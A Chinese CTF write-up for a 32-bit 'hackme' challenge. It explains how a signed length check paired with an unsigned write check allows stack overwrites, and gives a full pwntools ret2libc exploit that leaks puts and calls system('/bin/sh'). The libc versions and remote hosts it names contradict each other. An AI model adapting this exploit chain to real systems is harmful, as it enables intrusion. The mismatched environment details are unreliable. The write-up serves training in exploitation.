scanf(“%d“)输入绕过+整数溢出
2026/8/3 13:13:57 网站建设 项目流程

hackme 详细题解

靶机地址:https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges
通过网盘分享的文件:3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17
链接: https://pan.baidu.com/s/1tH7dYlZh64G1lld_9xmBEQ?pwd=neuq 提取码: neuq
环境是libc-2.23.so(32bit),这个就自己去找一下

1. 文件识别与保护机制

文件3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17是一个无后缀的 32 位 Linux ELF 可执行文件:

$ file 3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17 ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped

关键保护:

保护状态说明
PIE关闭ELF type 为 ET_EXEC,基址固定为0x08048000,程序内地址可直接写死
Canary没有导入__stack_chk_fail,函数帧中也没有 canary 校验
NX开启PT_GNU_STACKflags = 6(R+W,无 X),栈不可执行
RELROPartial.got.plt0x0804c000起)仍可写

因此本题走“栈溢出 + ROP”,不需要绕过 canary,也不需要处理 PIE。

2. IDA 逆向流程

  1. 用 IDA 打开文件,选择 32 位 ELF loader。
  2. 在 Functions 窗口找到main0x08049408)和hackme0x08049216)。
  3. hackme上按 F5 得到 Hex-Rays 伪代码,或对照反汇编。
  4. 重点看两个比较:
    • 长度检查0x08049262cdq; xor eax,edx; sub eax,edx是在算abs(n)
    • 写入检查0x08049310cmp [ebp-0x14], eax; jae是无符号比较。

main只做初始化:

intmain(){setbuf(stdout,0);setbuf(stderr,0);setbuf(stdin,0);hackme();return0;}

hackme的逻辑(按反汇编还原):

voidhackme(){intn,choice,i;unsignedintcount=0;intsum=0;intarr[10];puts("input the length of array:");scanf("%d",&n);if(abs(n)>10){puts("array is too long!");exit(0);}while(1){puts("\n\n----------------------------------------------------");puts("choice:\n1.add num\n2.get sum\n3.get avg\n4.exit");puts("----------------------------------------------------\n");puts("input your choice:");scanf("%d",&choice);if(choice==1){if((unsignedint)count<(unsignedint)n){puts("input num");scanf("%d",&arr[count]);count++;}else{puts("array is too long!");exit(0);}}elseif(choice==2){sum=0;for(i=0;i<count;i++)sum+=arr[i];printf("sum = %d\n",sum);}elseif(choice==3){if(count)printf("avg = %d\n",sum/count);elseputs("no avg!");}else{puts("exit!");return;}}}

3. 漏洞点:符号/无符号检查不一致

长度检查是有符号abs(n) > 10,所以n = -1也能通过:

08049262 mov eax, [ebp-0x1C] ; n 08049265 cdq 08049266 xor eax, edx 08049268 sub eax, edx ; eax = abs(n) 0804926A cmp eax, 0xA 0804926D jle short loc_804928B ; abs(n) <= 10 继续

但写入时的检查却是无符号比较:

0804930D mov eax, [ebp-0x1C] ; n 08049310 cmp [ebp-0x14], eax ; count vs n 08049313 jae short loc_804934E ; (unsigned)count >= (unsigned)n -> 报错退出

n = -1时,(unsigned int)n = 0xFFFFFFFF,而count从 0 开始递增,永远满足
count < n。于是“1.add num”可以无限次向栈上连续写入 4 字节整数,覆盖返回地址并布置 ROP。

写入地址的计算是:

lea eax, [ebp-0x44] ; arr 基址 shl edx, 2 ; count * 4 add eax, edx ; &arr[count]

arr[count]实际写的是ebp - 0x44 + count * 4

4. 栈布局与偏移

hackme栈帧从ebp-0x44开始布局:

写入次数相对 ebp内容
0…9ebp-0x44ebp-0x20arr[0]arr[9]
10ebp-0x1Cn
11ebp-0x18choice
12ebp-0x14count
13ebp-0x10i
14ebp-0x0Csum
15ebp-0x08对齐/未使用
16ebp-0x04saved ebx
17ebp+0x00saved ebp
18ebp+0x04返回地址
19ebp+0x08ROP 下一项(第一次为 puts 的返回地址)
20ebp+0x0CROP 参数(第一次为 puts 的参数)

也就是说,第 19 次add num写入的就是hackme的返回地址,之后继续写入的内容会组成 ROP 链。

5. 利用思路

固定地址(无 PIE,已从 IDA/ELF 确认):

符号地址
puts@plt0x080490C0
puts@got0x0804C014
hackme0x08049216
main0x08049408

流程:

  1. 第一次溢出:把返回地址改成puts@plt,栈上依次放mainputs@got
    执行puts(puts@got)泄漏 libc 中puts的真实地址,然后回到main重新进入hackme
  2. BUUCTF 远程使用固定的 libc6-i386 2.27,直接按固定偏移计算:
    libc_base = puts_addr - 0x67560system = libc_base + 0x3cf10
    /bin/sh = libc_base + 0x17b9db
  3. 第二次溢出:ROP 到system("/bin/sh"),拿到 shell。

payload 结构:

  1. 先输入长度-1n保持为 -1。
  2. 连续add('-')18 次,把count从 0 推到 18。
    scanf("%d")遇到单独的-时,会把它作为整数符号前缀消费掉,但转换失败、
    不写入数组,count++仍会执行,因此第 10 个槽位n不会被覆盖。
  3. 再依次 add 3 个值:puts@pltmainputs@got,正好落在返回地址、
    puts 的返回地址、puts 的参数这三个槽位。

注意:scanf("%d", ...)接收的是有符号十进制整数,而地址是 32 位无符号值。大于
0x80000000的地址要先转成有符号数再发送:addr - 0x100000000(等价于
struct.pack/struct.unpack的写法)。

6. 完整 Exploit

以下脚本直接面向 BUUCTF 远程(node4.buuoj.cn:29862,libc6-i386 2.27),
write_up.py一致,可以直接跑通。本地调试时需要先patchelf绑定题目给的
ld-2.27.solibc-2.27.so,并把local改为 1。

#!/usr/bin/env python3frompwnimport*context.arch='i386'context.log_level='debug'BIN='./pwn'p=remote("17039d025c2fa987215743cd.tcp-ctf2.dasctf.com",9999,ssl=True)elf=ELF(BIN)menu=b"input your choice:\n"defadd(v):p.sendlineafter(menu,b'1')p.sendlineafter(b"input num\n",v.encode())p.sendlineafter(b"input the length of array:\n",b'-1')# 18 个 '-':scanf 消费掉 '-' 但转换失败,不写数组,只把 count 推到 18,# n 保持 -1;之后 3 个值正好是返回地址、下一跳、参数。for_inrange(18):add('-')add(str(elf.plt['puts']))add(str(0x08049408))# main:leak 后干净地重新进入 hackmeadd(str(elf.got['puts']))p.sendlineafter(menu,b'4')p.recvline()# exit!leak=u32(p.recv(4))puts_addr=leak log.success('puts: %#x',puts_addr)libc_base=puts_addr-0x67560system=libc_base+0x3cf10bin_sh=libc_base+0x17b9dblog.success('libc: %#x, system: %#x, /bin/sh: %#x',libc_base,system,bin_sh)p.sendlineafter(b"input the length of array:\n",b'-1')for_inrange(18):add('-')add(str(system-0x100000000))add(str(0x08049408))# system 返回后的占位地址,无实际作用add(str(bin_sh-0x100000000))p.sendlineafter(menu,b'4')p.interactive()

运行:

python3 hackme_writeup.py

本地调试时先对二进制做 patchelf:

patchelf --set-interpreter ./ld-2.27.so ./3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17 patchelf --add-needed ./libc-2.27.so ./3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17

7. 关键点总结

  • 漏洞本质是abs(n) > 10的有符号长度检查与jae无符号写入检查不一致。
  • 传入n = -1后,(unsigned)n = 0xFFFFFFFF,边界检查永远不触发,获得任意长度的栈连续写。
  • 无 canary、无 PIE,可以直接覆盖返回地址做 ROP。
  • NX 开启,所以不用 shellcode,而是先puts(puts@got)泄漏 libc,再system("/bin/sh")
  • 填充用 18 个-scanf("%d")消费-但转换失败,不覆盖n,只推进count
  • leak 后回main重新进入hackme,栈对齐和缓冲状态更干净。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询